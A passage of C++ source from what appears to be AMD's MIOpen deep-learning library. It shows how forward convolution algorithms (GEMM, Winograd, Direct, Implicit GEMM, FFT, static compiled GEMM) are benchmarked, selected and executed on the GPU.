out_spatial_size = std::accumulate(out_spatial.begin(),\n                                                               out_spatial.end(),\n                                                               std::size_t(1),\n                                                               std::multiplies<std::size_t>());\n\n                wksp_offset = in_c * wei_spatial_size * out_spatial_size;\n\n                transpose_packed_MN2NM(handle,\n                                       static_cast<int>(in_c * wei_spatial_size),\n                                       out_spatial_size,\n                                       0,\n                                       wksp_offset,\n                                       workSpace,\n                                       workSpace,\n                                       xDesc.GetType());\n                time_gemm += (in_n * handle.GetKernelTime());\n            }\n\n            FindDbKCacheKey kcache_key;\n\n            GemmDescriptor gemm_desc =\n                conv.group_count > 1\n                    ? CreateGemmDescriptorGroupConvFwd(wDesc, xDesc, yDesc, conv.group_count)\n                    : CreateGemmDescriptorConvFwd(wDesc, xDesc, yDesc);\n\n            miopenStatus_t gemm_status = CallGemmTimeMeasure(\n                handle,\n                gemm_desc,\n                w,\n                0,\n                workSpace,\n                wksp_offset,\n                y,\n                0,\n                &kcache_key,\n                time_precision,\n                conv.group_count > 1 ? callGemmStridedBatched : callGemm,\n                (conv.group_count > 1 || wDesc.GetType() == miopenInt8 ||\n                 wDesc.GetType() == miopenInt8x4 || wDesc.GetType() == miopenBFloat16)\n                    ? GemmBackend_t::rocblas\n                    : GemmBackend_t::miopengemm);\n\n            time_gemm += (in_n * (time_im2col + handle.GetKernelTime()));\n\n            if((wDesc.GetType() == miopenInt8 || wDesc.GetType() == miopenInt8x4) &&\n               yDesc.GetType() != miopenInt32)\n            {\n                TensorDescriptor ygemmDesc(miopenInt32, yDesc.GetLengths(), yDesc.GetStrides());\n\n                CastTensor(handle, &conv.lowp_quant, ygemmDesc, y, yDesc, y, 0, 0);\n                time_gemm += handle.GetKernelTime();\n            }\n\n            if(gemm_status == miopenStatusSuccess)\n                record.SetValues(\"miopenConvolutionFwdAlgoGEMM\",\n                                 FindDbData{\"gemm\",\n                                            time_gemm,\n                                            (conv.ForwardGetWorkSpaceSizeGEMM(wDesc, yDesc)),\n                                            kcache_key}); // Todo: gemm solver id?\n        }\n    }\n#endif\n\n    const auto network_config = ctx.BuildConfKey();\n    const auto invoke_ctx =\n        conv::DataInvokeParams{{xDesc, x, wDesc, w, yDesc, y}, workSpace, workSpaceSize};\n\n    // Winograd algo\n    {\n        const auto all = conv.FindWinogradSolutions(ctx);\n        PrecompileSolutions(handle, all);\n        const auto algorithm_name = AlgorithmName{\"miopenConvolutionFwdAlgoWinograd\"};\n        EvaluateInvokers(handle, all, algorithm_name, network_config, invoke_ctx, record);\n    }\n\n    // Direct algo\n    if(!use_winograd_only)\n    {\n        ConvolutionUserBuffers bufs(workSpace, workSpaceSize);\n        bufs.SetFwd(x, w, y);\n        const auto all =\n            conv.FindDataDirectSolutions(handle, xDesc, wDesc, yDesc, exhaustiveSearch, true, bufs);\n        PrecompileSolutions(handle, all);\n        const auto algorithm_name = AlgorithmName{\"miopenConvolutionFwdAlgoDirect\"};\n        EvaluateInvokers(handle, all, algorithm_name, network_config, invoke_ctx, record);\n    }\n\n    // Implicit GEMM algo\n    if(!use_winograd_only)\n    {\n        ConvolutionUserBuffers bufs(workSpace, workSpaceSize);\n        bufs.SetFwd(x, w, y);\n        const auto all = conv.FindDataImplicitGemmSolutions(\n            handle, xDesc, wDesc, yDesc, exhaustiveSearch, true, bufs);\n        PrecompileSolutions(handle, all);\n        const auto algorithm_name = AlgorithmName{\"miopenConvolutionFwdAlgoImplicitGEMM\"};\n        EvaluateInvokers(handle, all, algorithm_name, network_config, invoke_ctx, record);\n    }\n\n    // FFT algo\n    if(!use_winograd_only && conv.GetSpatialDimension() == 2 &&\n       miopen::all_of(conv.GetConvDilations(), [](auto v) { return v == 1; }) &&\n       conv.group_count == 1 && wDesc.GetType() != miopenInt8 && wDesc.GetType() != miopenInt8x4)\n    {\n        std::vector<KernelInvoke> kernels_fft;\n        size_t workspace_fft = conv.ForwardGetWorkSpaceSizeFFT(wDesc, xDesc, yDesc);\n        if(conv.FindFwdFFTKernel(\n               handle, xDesc, wDesc, yDesc, workspace_fft, kernels_fft, network_config) == 0)\n        {\n            (void)kernels_fft; // not used now, but needed as fft coverage widens\n            if(workSpace != nullptr && workSpaceSize >= workspace_fft)\n            {\n                float time_fft = conv.ExecuteFwdFFTKernel(handle,\n                                                          xDesc,\n                                                          x,\n                                                          wDesc,\n                                                          w,\n                                                          yDesc,\n                                                          y,\n                                                          workSpace,\n                                                          workSpaceSize,\n                                                          network_config,\n                                                          true);\n                record.SetValues(\"miopenConvolutionFwdAlgoFFT\",\n                                 FindDbData{\"fft\",\n                                            time_fft,\n                                            workspace_fft,\n                                            {\"miopenConvolutionFwdAlgoFFT\",\n                                             network_config}}); // Todo: fft solver id?\n            }\n        }\n    }\n\n    // static compiled gemm algo\n    if(!use_winograd_only)\n    {\n        ConvolutionContext params(xDesc, wDesc, yDesc, conv, conv::Direction::Forward, 0);\n        ConvolutionUserBuffers bufs(workSpace, workSpaceSize);\n        bufs.SetFwd(x, w, y);\n        const auto all =\n            conv.FindSCGemmSolutions(handle, xDesc, wDesc, yDesc, exhaustiveSearch, true, bufs);\n        PrecompileSolutions(handle, all);\n        miopen::solver::ConvSolution selected{miopenStatusUnknownError};\n\n        float best = std::numeric_limits<float>::max();\n\n        visit_float(xDesc.GetType(), [&](auto as_float) {\n            for(const auto& sol : all)\n            {\n\n                float elapsed = 0.0f;\n                const int rc  = EvaluateSCGemmSolution(handle,\n                                                      sol,\n                                                      x,\n                                                      w,\n                                                      y,\n                                                      workSpace,\n                                                      workSpaceSize,\n                                                      params,\n                                                      0,\n                                                      as_float(0.0f),\n                                                      elapsed);\n                if(rc != 0)\n                {\n                    MIOPEN_LOG_E(sol << \" returns \" << rc);\n                }\n                else\n                {\n                    MIOPEN_LOG_I(sol << \": \" << elapsed << (elapsed < best ? \" < \" : \" >= \")\n                                     << best);\n                    if(elapsed < best)\n                    {\n                        best     = elapsed;\n                        selected = sol;\n                    }\n                }\n            }\n        });\n\n        if(selected.Succeeded())\n        {\n            const std::string algorithm_name = \"miopenConvolutionFwdAlgoStaticCompiledGEMM\";\n            AddKernels(handle, algorithm_name, network_config, selected, nullptr);\n\n            MIOPEN_LOG_I(\"Selected: \" << selected << \": \" << best << \", workspce_sz = \"\n                                      << selected.workspce_sz);\n            record.SetValues(algorithm_name,\n                             FindDbData{selected.solver_id,\n                                        best,\n                                        selected.workspce_sz,\n                                        {algorithm_name, network_config}});\n        }\n    }\n}\n\nvoid ConvolutionDescriptor::FindConvFwdAlgorithm(Handle& handle,\n                                                 const TensorDescriptor& xDesc,\n                                                 ConstData_t x,\n                                                 const TensorDescriptor& wDesc,\n                                                 ConstData_t w,\n                                                 const TensorDescriptor& yDesc,\n                                                 Data_t y,\n                                                 const int requestAlgoCount,\n                                                 int* const returnedAlgoCount,\n                                                 miopenConvAlgoPerf_t* perfResults,\n                                                 Data_t workSpace,\n                                                 size_t workSpaceSize,\n                                                 bool exhaustiveSearch) const\n{\n    MIOPEN_LOG_I(\"requestAlgoCount = \" << requestAlgoCount << \", workspace = \" << workSpaceSize);\n    if(x == nullptr || w == nullptr || y == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"Buffers cannot be NULL\");\n    if(returnedAlgoCount == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"returnedAlgoCount cannot be nullptr\");\n    if(perfResults == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"perfResults cannot be nullptr\");\n    if(requestAlgoCount < 1)\n        MIOPEN_THROW(miopenStatusBadParm, \"requestAlgoCount cannot be < 1\");\n\n    *returnedAlgoCount = 0;\n\n    const ProblemDescription problem(xDesc, wDesc, yDesc, *this, conv::Direction::Forward);\n\n    auto ctx = ConvolutionContext{problem};\n    ctx.SetStream(&handle);\n    ctx.DetectRocm();\n    ConvolutionUserBuffers bufs(workSpace, workSpaceSize);\n    bufs.SetFwd(x, w, y);\n    ctx.SetBufs(bufs);\n    const bool use_winograd_only = IsWinograd3x3SupportedAndFast(ctx);\n\n    std::vector<PerfField> perf_db;\n\n    const miopen::FindMode fm;\n    /// \\section ffind_special_cases\n    /// Fast Find mode: Let's allow known fast-to-build special cases\n    /// (this is only Winograd 3x3 so far) to override switching to Immediate mode.\n    /// This minimizes performance drop in Fast Find mode at for free.\n    /// Otherwise we can hit Immediate mode fallback (which is just GEMM\n    /// right now) in many cases. -- atamazov 21 Nov 2019.\n    ///\n    /// \\todo Revise this (and similar cases) when Immediate mode\n    /// will be better elaborated.\n    bool use_immediate_solution = false;\n    miopenConvSolution_t sol;\n    if((fm.IsFast() || fm.IsHybrid()) && !use_winograd_only)\n    {\n        size_t count;\n        GetForwardSolutions(handle, wDesc, xDesc, yDesc, 1, &count, &sol);\n        use_immediate_solution = (count > 0) && !(fm.IsHybrid() && sol.time < 0);\n        // In Hybrid Find mode, we use Normal Find instead of Immediate fallback kernels.\n    }\n\n    if(use_immediate_solution)\n    {\n        CompileForwardSolution(handle, wDesc, xDesc, yDesc, sol.solution_id);\n        /// It is possible to measure actual execution time and return it to the caller.\n        /// \\todo Consider if we need (and want to spend time) for this.\n        const auto id = solver::Id(sol.solution_id);\n        perf_db.push_back(\n            {id.GetAlgo(conv::Direction::Forward), id.ToString(), sol.time, sol.workspace_size});\n    }\n    else\n    {\n        perf_db = UserFindDbRecord::TryLoad(handle, problem, [&](DbRecord& record) {\n            DirConvFindCore(handle,\n                            xDesc,\n                            x,\n                            wDesc,\n                            w,\n                            yDesc,\n                            y,\n                            workSpace,\n                            workSpaceSize,\n                            *this,\n                            exhaustiveSearch,\n                            record,\n                            ctx,\n                            use_winograd_only);\n        });\n    }\n\n    if(perf_db.empty())\n        MIOPEN_THROW(\"Forward Convolution cannot be executed due to incorrect params\");\n\n    std::sort(begin(perf_db), end(perf_db));\n\n    for(const auto& entry : perf_db)\n        MIOPEN_LOG_I(entry.name << \"\\t\" << entry.time << \"\\t\" << entry.workspace);\n\n    *returnedAlgoCount = std::min(requestAlgoCount, static_cast<int>(perf_db.size()));\n\n    for(int i = 0; i < *returnedAlgoCount; i++)\n    {\n        perfResults[i].fwd_algo = StringToConvolutionFwdAlgo(perf_db[i].name);\n        perfResults[i].time     = perf_db[i].time;\n        perfResults[i].memory   = perf_db[i].workspace;\n    }\n\n    MIOPEN_LOG_I(\"FW Chosen Algorithm: \" << perf_db[0].solver_id << \" , \" << perf_db[0].workspace\n                                         << \", \"\n                                         << perf_db[0].time);\n}\n\nvoid ValidateConvTensors(const ConvTensors& tensors)\n{\n    const auto invalid_buffers =\n        tensors.x == nullptr || tensors.w == nullptr || tensors.y == nullptr;\n\n    const auto tensor_sizes_not_matched = tensors.xDesc.GetSize() != tensors.yDesc.GetSize() ||\n                                          tensors.xDesc.GetSize() != tensors.wDesc.GetSize();\n\n    const auto tensor_types_not_matched =\n        (tensors.xDesc.GetType() != tensors.yDesc.GetType() &&\n         tensors.xDesc.GetType() != miopenInt8 && tensors.xDesc.GetType() != miopenInt8x4) ||\n        tensors.xDesc.GetType() != tensors.wDesc.GetType();\n\n    // if(xDesc.GetLengths()[1] != wDesc.GetLengths()[1]) {\n    //    MIOPEN_THROW(miopenStatusBadParm);\n    //}\n\n    const auto x_tensor_invalid = tensors.xDesc.GetSize() < 3;\n\n    const auto bad_parameters =\n        invalid_buffers || tensor_sizes_not_matched || tensor_types_not_matched || x_tensor_invalid;\n\n    if(bad_parameters)\n        MIOPEN_THROW(miopenStatusBadParm);\n}\n\nvoid ValidateAlphaBeta(const void* alpha, const void* beta)\n{\n    if(!float_equal(*(static_cast<const float*>(alpha)), 1.0) ||\n       !float_equal(*(static_cast<const float*>(beta)), 0))\n    {\n        MIOPEN_THROW(miopenStatusNotImplemented, \"Only alpha=1 and beta=0 is supported\");\n    }\n}\n\nstatic void ConvForwardCheckNumerics(const Handle& handle,\n                                     const ConvFwdTensors& tensors,\n                                     std::function<void()>&& worker)\n{\n    if(!miopen::CheckNumericsEnabled())\n    {\n        worker();\n        return;\n    }\n\n    miopen::checkNumericsInput(handle, tensors.xDesc, tensors.x);\n    miopen::checkNumericsInput(handle, tensors.wDesc, tensors.w);\n\n    worker();\n\n    miopen::checkNumericsOutput(handle, tensors.yDesc, tensors.y);\n}\n\ntemplate <class TKernels>\nvoid ConvFwdSCGemm(const ConvolutionContext& ctx,\n                   Handle& handle,\n                   const ConvFwdTensors& tensors,\n                   Data_t workSpace,\n                   std::size_t workSpaceSize,\n                   const TKernels& kernels);\n\nvoid ConvolutionDescriptor::ConvolutionForward(Handle& handle,\n                                               const void* alpha,\n                                               const TensorDescriptor& xDesc,\n                                               ConstData_t x,\n                                               const TensorDescriptor& wDesc,\n                                               ConstData_t w,\n                                               miopenConvFwdAlgorithm_t algo,\n                                               const void* beta,\n                                               const TensorDescriptor& yDesc,\n                                               Data_t y,\n                                               Data_t workSpace,\n                                               size_t workSpaceSize) const\n{\n    MIOPEN_LOG_I(\"algo = \" << algo << \", workspace = \" << workSpaceSize);\n    const auto tensors = ConvFwdTensors{xDesc, x, wDesc, w, yDesc, y};\n    ValidateConvTensors(tensors);\n    ValidateAlphaBeta(alpha, beta);\n\n    if(algo != miopenConvolutionFwdAlgoGEMM &&\n       (xDesc.GetType() == miopenInt8 || xDesc.GetType() == miopenInt8x4))\n    {\n        MIOPEN_THROW(miopenStatusBadParm);\n    }\n\n    ConvForwardCheckNumerics(handle, tensors, [&]() {\n        ValidateGroupCount(xDesc, wDesc, *this);\n\n        const auto algorithm_name = AlgorithmName{ConvolutionAlgoToDirectionalString(\n            static_cast<miopenConvAlgorithm_t>(algo), conv::Direction::Forward)};\n\n        auto ctx =\n            ConvolutionContext{xDesc, wDesc, yDesc, *this, conv::Direction::Forward}; // forward\n        ctx.SetStream(&handle);\n        const auto network_config = ctx.BuildConfKey();\n        const auto& invoker       = handle.GetInvoker(network_config, boost::none, algorithm_name);\n\n        if(invoker)\n        {\n            const auto& invoke_ctx = conv::DataInvokeParams{tensors, workSpace, workSpaceSize};\n            (*invoker)(handle, invoke_ctx);\n            return;\n        }\n\n        switch(algo)\n        {\n        case miopenConvolutionFwdAlgoDirect:\n        case miopenConvolutionFwdAlgoWinograd:\n        case miopenConvolutionFwdAlgoImplicitGEMM:\n            MIOPEN_THROW(\"No invoker was registered for convolution forward. Was find executed?\");\n\n        case miopenConvolutionFwdAlgoGEMM:\n            ConvFwdGemm(handle, tensors, workSpace, workSpaceSize);\n            break;\n\n        case miopenConvolutionFwdAlgoFFT:\n            ConvFwdFFT(handle, tensors, workSpace, workSpaceSize, network_config);\n            break;\n        case miopenConvolutionFwdAlgoStaticCompiledGEMM:\n        {\n            auto&& kernels = handle.GetKernels(algorithm_name, network_config);\n            ConvFwdSCGemm(ctx, handle, tensors, workSpace, workSpaceSize, kernels);\n        }\n        break;\n        }\n    });\n}\n\nvoid ConvolutionDescriptor::ConvFwdGemm(Handle& handle,\n                                        const ConvFwdTensors& tensors,\n                                        Data_t workSpace,\n                                        std::size_t workSpaceSize) const\n{\n#if MIOPEN_USE_GEMM\n    if(miopen::IsDisabled(MIOPEN_DEBUG_CONV_GEMM{}))\n    {\n        MIOPEN_THROW(\"GEMM convolution is disabled\");\n    }\n    if(IsAnyBufferBF16(tensors.xDesc, tensors.yDesc, tensors.wDesc) && !IsUseRocBlas)\n    {\n        MIOPEN_THROW(\"GEMM convolution is unsupported\");\n    }\n\n    std::size_t in_n, in_c;\n    std::tie(in_n, in_c) = tie_pick<0, 1>()(tensors.xDesc.GetLengths());\n\n    std::size_t wei_k = tensors.wDesc.GetLengths()[0];\n\n    std::size_t spatial_dim = GetSpatialDimension();\n\n    auto in_spatial  = boost::adaptors::slice(tensors.xDesc.GetLengths(), 2, 2 + spatial_dim);\n    auto wei_spatial = boost::adaptors::slice(tensors.wDesc.GetLengths(), 2, 2 + spatial_dim);\n    auto out_spatial = boost::adaptors::slice(tensors.yDesc.GetLengths(), 2, 2 + spatial_dim);\n\n    // Use transpose path for 1x1, stride=2\n    if(GetSpatialDimension() == 2 && miopen::all_of(wei_spatial, [](auto v) { return v == 1; }) &&\n       miopen::all_of(GetConvPads(), [](auto v) { return v == 0; }) &&\n       miopen::all_of(GetConvStrides(), [](auto v) { return v == 2; }))\n    {\n        if(group_count > 1)\n        {\n            MIOPEN_LOG_FUNCTION(\"groupconv, 1x1 u2xv2\");\n        }\n        else\n        {\n            MIOPEN_LOG_FUNCTION(\"convolution, 1x1 u2xv2\");\n        }\n\n        assert(workSpace != nullptr &&\n               workSpaceSize >= ForwardGetWorkSpaceSizeGEMMTranspose(tensors.xDesc, tensors.yDesc));\n\n        float t1 = 0;\n        transpose_NCHW2CNHW(handle,\n                            in_n,\n                            in_c,\n                            in_spatial[0],\n                            in_spatial[1],\n                            out_spatial[0],\n                            out_spatial[1],\n                            tensors.x,\n                            workSpace,\n                            0,\n                            0,\n                            GetConvStrides()[0],\n                            GetConvStrides()[1],\n                            tensors.xDesc.GetType());\n        if(handle.IsProfilingEnabled())\n            t1 = handle.GetKernelTime();\n\n        std::size_t out_spatial_size = std::accumulate(\n            out_spatial.begin(), out_spatial.end(), std::size_t(1), std::multiplies<std::size_t>());\n\n        std::size_t x_t_size = in_n * in_c * out_spatial_size;\n\n        std::size_t wksp_offset = 0;\n        if(tensors.wDesc.GetType() == miopenInt8)\n        {\n            wksp_offset = x_t_size;\n\n            transpose_packed_MN2NM(handle,\n                                   in_c,\n                                   static_cast<int>(in_n * out_spatial_size),\n                                   0,\n                                   wksp_offset,\n                                   workSpace,\n                                   workSpace,\n                                   tensors.xDesc.GetType());\n            if(handle.IsProfilingEnabled())\n                t1 += handle.GetKernelTime();\n\n            x_t_size *= 2;\n        }\n\n        if(tensors.wDesc.GetType() == miopenInt8 || tensors.wDesc.GetType() == miopenInt8x4)\n        {\n            const auto xts = GetTypeSize(tensors.xDesc.GetType());\n            if(xts > 0)\n            {\n                const auto yts_div_xts = GetTypeSize(tensors.yDesc.GetType()) / xts;\n                if(yts_div_xts > 0)\n                    x_t_size /= yts_div_xts;\n            }\n        }\n\n        if(group_count > 1)\n        {\n            GemmDescriptor gemm_desc = CreateGemmDescriptorGroupConvCNHWFwd(\n                tensors.wDesc, tensors.xDesc, tensors.yDesc, group_count);\n\n            CallGemmStridedBatched(\n                handle, gemm_desc, tensors.w, 0, workSpace, 0, workSpace, x_t_size, nullptr, false);\n        }\n        else\n        {\n            // tensors.y = CNHW2NCHW(tensors.w * NCHW2CNHW(tensors.x))\n            GemmDescriptor gemm_desc =\n                CreateGemmDescriptorConvCNHWFwd(tensors.wDesc, tensors.xDesc, tensors.yDesc);\n\n            // tensors.y = CNHW2NCHW(tensors.w * NCHW2CNHW(tensors.x))\n            CallGemm(handle,\n                     gemm_desc,\n                     tensors.w,\n                     0,\n                     workSpace,\n                     wksp_offset,\n                     workSpace,\n                     x_t_size,\n                     nullptr,\n                     false);\n        }\n        if(handle.IsProfilingEnabled())\n            t1 += handle.GetKernelTime();\n\n        transpose_CNHW2NCHW(handle,\n                            in_n,\n                            wei_k,\n                            out_spatial[0],\n                            out_spatial[1],\n                            out_spatial[0],\n                            out_spatial[1],\n                            workSpace,\n                            tensors.y,\n                            x_t_size,\n                            0,\n                            1,\n                            1,\n                            tensors.yDesc.GetType());\n        if(handle.IsProfilingEnabled())\n            t1 += handle.GetKernelTime();\n\n        if((tensors.wDesc.GetType() == miopenInt8 || tensors.wDesc.GetType() == miopenInt8x4) &&\n           tensors.yDesc.GetType() != miopenInt32)\n        {\n            TensorDescriptor ygemmDesc(\n                miopenInt32, tensors.yDesc.GetLengths(), tensors.yDesc.GetStrides());\n\n            CastTensor(handle, &lowp_quant, ygemmDesc, tensors.y, tensors.yDesc, tensors.y, 0, 0);\n            if(handle.IsProfilingEnabled())\n                t1 += handle.GetKernelTime();\n        }\n\n        if(handle.IsProfilingEnabled())\n        {\n            handle.ResetKernelTime();\n            handle.AccumKernelTime(t1);\n        }\n    }\n    else if(miopen::all_of(wei_spatial, [](auto v) { return v == 1; }) &&\n            miopen::all_of(GetConvPads(), [](auto v) { return v == 0; }) &&\n            miopen::all_of(GetConvStrides(), [](auto v) { return v == 1; }))\n    {\n        if(group_count > 1)\n        {\n            MIOPEN_LOG_FUNCTION(\"groupconv, 1x1\");\n\n            GemmDescriptor gemm_desc = CreateGemmDescriptorGroupConvFwd(\n                tensors.wDesc, tensors.xDesc, tensors.yDesc, group_count);\n            float time_0 = 0;\n\n            std::size_t out_spatial_size = std::accumulate(out_spatial.begin(),\n                                                           out_spatial.end(),\n                                                           std::size_t(1),\n                                                           std::multiplies<std::size_t>());\n\n            std::size_t in_spatial_size = std::accumulate(in_spatial.begin(),\n                                                          in_spatial.end(),\n                                                          std::size_t(1),\n                                                          std::multiplies<std::size_t>());\n\n            for(std::size_t i = 0; i < in_n; i++)\n            {\n                std::size_t out_offset = i * wei_k * out_spatial_size;\n\n                std::size_t in_offset = i * in_c * in_spatial_size;\n\n                CallGemmStridedBatched(handle,\n                                       gemm_desc,\n                                       tensors.w,\n                                       0,\n                                       tensors.x,\n                                       in_offset,\n                                       tensors.y,\n                                       out_offset,\n                                       nullptr,\n                                       false);\n                if(handle.IsProfilingEnabled())\n                {\n                    if(i == in_n - 1)\n                        handle.AccumKernelTime(time_0);\n                    time_0 += handle.GetKernelTime();\n                }\n            }\n        }\n        else\n        {\n            MIOPEN_LOG_FUNCTION(\"convolution, 1x1\");\n            float time_0 = 0;\n            float t1     = 0;\n\n            if(tensors.wDesc.GetType() == miopenInt8)\n            {\n                GemmDescriptor gemm_desc =\n                    CreateGemmDescriptorConvFwd(tensors.wDesc, tensors.xDesc, tensors.yDesc);\n\n                std::size_t out_spatial_size = std::accumulate(out_spatial.begin(),\n                                                               out_spatial.end(),\n                                                               std::size_t(1),\n                                                               std::multiplies<std::size_t>());\n\n                std::size_t in_spatial_size = std::accumulate(in_spatial.begin(),\n                                                              in_spatial.end(),\n                                                              std::size_t(1),\n                                                              std::multiplies<std::size_t>());\n\n                for(std::size_t i = 0; i < in_n; i++)\n                {\n                    std::size_t out_offset = i * wei_k * out_spatial_size;\n\n                    std::size_t in_offset = i * in_c * in_spatial_size;\n\n                    transpose_packed_MN2NM(handle,\n                                           in_c,\n                                           in_spatial_size,\n                                           in_offset,\n                                           0,\n                                           tensors.x,\n                                           workSpace,\n                                           tensors.xDesc.GetType());\n                    if(handle.IsProfilingEnabled())\n                        t1 += handle.GetKernelTime();\n\n                    CallGemm(handle,\n                             gemm_desc,\n                             tensors.w,\n                             0,\n                             workSpace,\n                             0,\n                             tensors.y,\n                             out_offset,\n                             nullptr,\n                             false);\n                    if(handle.IsProfilingEnabled())\n                        time_0 += handle.GetKernelTime();\n                }\n            }\n            else\n            {\n                // tensors.y = tensors.w * tensors.x\n                GemmDescriptor gemm_desc = CreateGemmStridedBatchedDescriptorConv1x1Fwd(\n                    tensors.wDesc, tensors.xDesc, tensors.yDesc);\n\n                // tensors.y = tensors.w * tensors.x\n                CallGemmStridedBatched(\n                    handle, gemm_desc, tensors.w, 0, tensors.x, 0, tensors.y, 0, nullptr, false);\n                if(handle.IsProfilingEnabled())\n                    time_0 += handle.GetKernelTime();\n            }\n\n            if((tensors.wDesc.GetType() == miopenInt8 || tensors.wDesc.GetType() == miopenInt8x4) &&\n               tensors.yDesc.GetType() != miopenInt32)\n            {\n                TensorDescriptor ygemmDesc(\n                    miopenInt32, tensors.yDesc.GetLengths(), tensors.yDesc.GetStrides());\n\n                CastTensor(\n                    handle, &lowp_quant, ygemmDesc, tensors.y, tensors.yDesc, tensors.y, 0, 0);\n                if(handle.IsProfilingEnabled())\n                    handle.AccumKernelTime(t1 + time_0);\n            }\n        }\n    }\n    // if not 1x1\n    else\n    {\n        if(group_count > 1)\n        {\n            MIOPEN_LOG_FUNCTION(\"groupconv, non 1x1\");\n        }\n        else\n        {\n            MIOPEN_LOG_FUNCTION(\"convolution, non 1x1\");\n        }\n        assert(workSpace != nullptr &&\n               workSpaceSize >= (ForwardGetWorkSpaceSizeGEMM(tensors.wDesc, tensors.yDesc)));\n\n        // tensors.y = tensors.w * Im2Col(tensors.x)\n        GemmDescriptor gemm_desc{};\n        if(group_count > 1)\n            gemm_desc = CreateGemmDescriptorGroupConvFwd(\n                tensors.wDesc, tensors.xDesc, tensors.yDesc, group_count);\n        else\n            gemm_desc = CreateGemmDescriptorConvFwd(tensors.wDesc, tensors.xDesc, tensors.yDesc);\n\n        std::size_t out_spatial_size = std::accumulate(\n            out_spatial.begin(), out_spatial.end(), std::size_t(1), std::multiplies<std::size_t>());\n\n        std::size_t in_spatial_size = std::accumulate(\n            in_spatial.begin(), in_spatial.end(), std::size_t(1), std::multiplies<std::size_t>());\n\n        float time_0 = 0;\n        float t1     = 0;\n        for(std::size_t i = 0; i < in_n; i++)\n        {\n            std::size_t out_offset = i * wei_k * out_spatial_size;\n\n            std::size_t in_offset = i * in_c * in_spatial_size;\n\n            Im2ColGPU(handle,\n                      GetSpatialDimension(),\n                      tensors.x,\n                      in_offset,\n                      in_c,\n                      in_spatial,\n                      wei_spatial,\n                      out_spatial,\n                      GetConvPads(),\n                      GetConvStrides(),\n                      GetConvDilations(),\n                      workSpace,\n                      tensors.xDesc.GetType());\n\n            if(handle.IsProfilingEnabled())\n                t1 = handle.GetKernelTime();\n\n            std::size_t wksp_offset = 0;\n            if(tensors.wDesc.GetType() == miopenInt8)\n            {\n                std::size_t wei_spatial_size = std::accumulate(wei_spatial.begin(),\n                                                               wei_spatial.end(),\n                                                               std::size_t(1),\n                                                               std::multiplies<std::size_t>());\n\n                wksp_offset = in_c * wei_spatial_size * out_spatial_size;\n\n                transpose_packed_MN2NM(handle,\n                                       static_cast<int>(in_c * wei_spatial_size),\n                                       out_spatial_size,\n                                       0,\n                                       wksp_offset,\n                                       workSpace,\n                                       workSpace,\n                                       tensors.xDesc.GetType());\n\n                if(handle.IsProfilingEnabled())\n                    t1 += handle.GetKernelTime();\n            }\n\n            // tensors.y = tensors.w * Im2Col(tensors.x)\n            if(group_count > 1)\n                CallGemmStridedBatched(handle,\n                                       gemm_desc,\n                                       tensors.w,\n                                       0,\n                                       workSpace,\n                                       0,\n                                       tensors.y,\n                                       out_offset,\n                                       nullptr,\n                                       false);\n            else\n                CallGemm(handle,\n                         gemm_desc,\n                         tensors.w,\n                         0,\n                         workSpace,\n                         wksp_offset,\n                         tensors.y,\n                         out_offset,\n                         nullptr,\n                         false,\n                         (tensors.wDesc.GetType() == miopenInt8 ||\n                          tensors.wDesc.GetType() == miopenInt8x4)\n                             ? GemmBackend_t::rocblas\n                             : GemmBackend_t::miopengemm);\n\n            // Update times for both the kernels\n            if(handle.IsProfilingEnabled())\n            {\n                if(i == in_n - 1)\n                {\n                    handle.AccumKernelTime(t1 + time_0);\n                    time_0 = handle.GetKernelTime();\n                }\n                else\n                {\n                    handle.AccumKernelTime(t1);\n                    time_0 += handle.GetKernelTime();\n                }\n            }\n        }\n\n        if((tensors.wDesc.GetType() == miopenInt8 || tensors.wDesc.GetType() == miopenInt8x4) &&\n           tensors.yDesc.GetType() != miopenInt32)\n        {\n            TensorDescriptor ygemmDesc(\n                miopenInt32, tensors.yDesc.GetLengths(), tensors.yDesc.GetStrides());\n\n            CastTensor(handle, &lowp_quant, ygemmDesc, tensors.y, tensors.yDesc, tensors.y, 0, 0);\n            if(handle.IsProfilingEnabled())\n                handle.AccumKernelTime(time_0);\n        }\n    }\n#ifdef NDEBUG\n    (void)workSpaceSize;\n#endif\n#else\n    (void)handle;\n    (void)tensors;\n    (void)workSpace;\n    (void)workSpaceSize;\n    MIOPEN_THROW(\"GEMM is not supported\");\n#endif\n}\n\nvoid ConvolutionDescriptor::ConvFwdFFT(const Handle& handle,\n                                       const ConvFwdTensors& tensors,\n                                       Data_t workSpace,\n                                       std::size_t workSpaceSize,\n                                       const NetworkConfig& kcache_key) const\n{\n    if(group_count > 1)\n        MIOPEN_THROW(\"FFT is not supported for group conv\");\n\n    assert(workSpaceSize >=\n           ForwardGetWorkSpaceSizeFFT(tensors.wDesc, tensors.xDesc, tensors.yDesc));\n\n    if(workSpace == nullptr || workSpaceSize == 0)\n        MIOPEN_THROW(\"Error running FFT: none workspace\");\n\n    bool timed  = handle.IsProfilingEnabled();\n    float timev = ExecuteFwdFFTKernel(handle,\n                                      tensors.xDesc,\n                                      tensors.x,\n                                      tensors.wDesc,\n                                      tensors.w,\n                                      tensors.yDesc,\n                                      tensors.y,\n                                      workSpace,\n                                      workSpaceSize,\n                                      kcache_key,\n                                      timed);\n    if(timed)\n    {\n        handle.ResetKernelTime();\n        handle.AccumKernelTime(timev);\n    }\n}\n\ntemplate <class TKernels>\nvoid ConvFwdSCGemm(const ConvolutionContext& ctx,\n                   Handle& handle,\n                   const ConvFwdTensors& tensors,\n                   Data_t workSpace,\n                   std::size_t workSpaceSize,\n                   const TKernels& kernels)\n{\n#if MIOPEN_USE_SCGEMM\n    if(miopen::IsDisabled(MIOPEN_DEBUG_CONV_SCGEMM{}))\n    {\n        MIOPEN_THROW(\"Static Compiled GEMM is disabled\");\n    }\n\n    if(kernels.empty() /*|| scgParams.params == nullptr*/)\n        MIOPEN_THROW(\n            \"Error running Static Compiled GEMM convolution. Was Find() executed previously?\");\n\n    auto ks = std::vector<KernelInvoke>{kernels.begin(), kernels.end()};\n\n    float elapsed = 0;\n\n    elapsed = CallSCGemm(handle, ctx, tensors.x, tensors.y, tensors.w, nullptr, workSpace, ks);\n\n    if(handle.IsProfilingEnabled())\n    {\n        MIOPEN_LOG_I2(\"CallSCGemm elapsed time = \" << elapsed << \" ms\");\n        handle.ResetKernelTime();\n        handle.AccumKernelTime(elapsed);\n    }\n    std::ignore = workSpaceSize;\n#else\n    std::ignore = ctx;\n    